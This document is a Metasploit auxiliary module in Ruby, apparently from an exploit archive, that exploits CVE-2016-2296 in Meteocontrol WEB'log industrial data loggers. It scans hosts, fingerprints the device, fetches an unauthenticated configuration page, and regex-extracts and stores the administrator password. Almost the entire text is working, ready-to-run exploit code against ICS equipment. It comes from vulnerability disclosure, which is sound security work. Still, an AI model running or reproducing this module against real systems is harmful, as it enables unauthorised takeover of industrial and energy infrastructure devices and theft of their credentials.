Meteocontrol WEBLog Password Extractor

`# Exploit Title: [Meteocontrol WEB'log - Extract Admin password]  
# Discovered by: Karn Ganeshen  
# Vendor Homepage: [http://www.meteocontrol.com/en/]  
# Versions Reported: [All Meteocontrol WEB'log versions]  
# CVE-ID: [CVE-2016-2296]  
  
# Meteocontrol WEB'log - Metasploit Auxiliary Module [modules/auxiliary/admin/scada/meteocontrol_weblog_login.rb]  
  
  
##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Meteocontrol WEBLog Password Extractor',  
'Description' => %{  
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal.  
  
},  
'References' =>  
[  
[ 'URL', 'http://ipositivesecurity.blogspot.in/2016/05/ics-meteocontrol-weblog-security.html' ],  
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ]  
],  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.  
], self.class)  
end  
  
def run_host(ip)  
unless is_app_metweblog?  
return  
end  
  
do_extract  
end  
  
#  
# Check if App is Meteocontrol WEBlog  
#  
  
def is_app_metweblog?  
begin  
res = send_request_cgi(  
{  
'uri' => '/html/en/index.html',  
'method' => 'GET'  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")  
return false  
end  
  
if (res and res.code == 200 and (res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))  
print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")  
return true  
else  
print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")  
return false  
end  
end  
  
#  
# Extract Administrator Password  
#  
  
def do_extract()  
print_status("#{rhost}:#{rport} - Attempting to extract Administrator password")  
begin  
res = send_request_cgi(  
{  
'uri' => '/html/en/confAccessProt.html',  
'method' => 'GET'  
})  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE  
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")  
return :abort  
end  
  
if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/)  
get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)  
admin_password = get_admin_password[1]  
print_good("#{rhost}:#{rport} - Password is #{admin_password}")  
report_cred(  
ip: rhost,  
port: rport,  
service_name: 'Meteocontrol WEBlog Management Portal',  
password: admin_password,  
proof: res.body  
)  
else  
# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.  
print_error("Password not found. Check login manually.")  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: Time.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
end  
  
`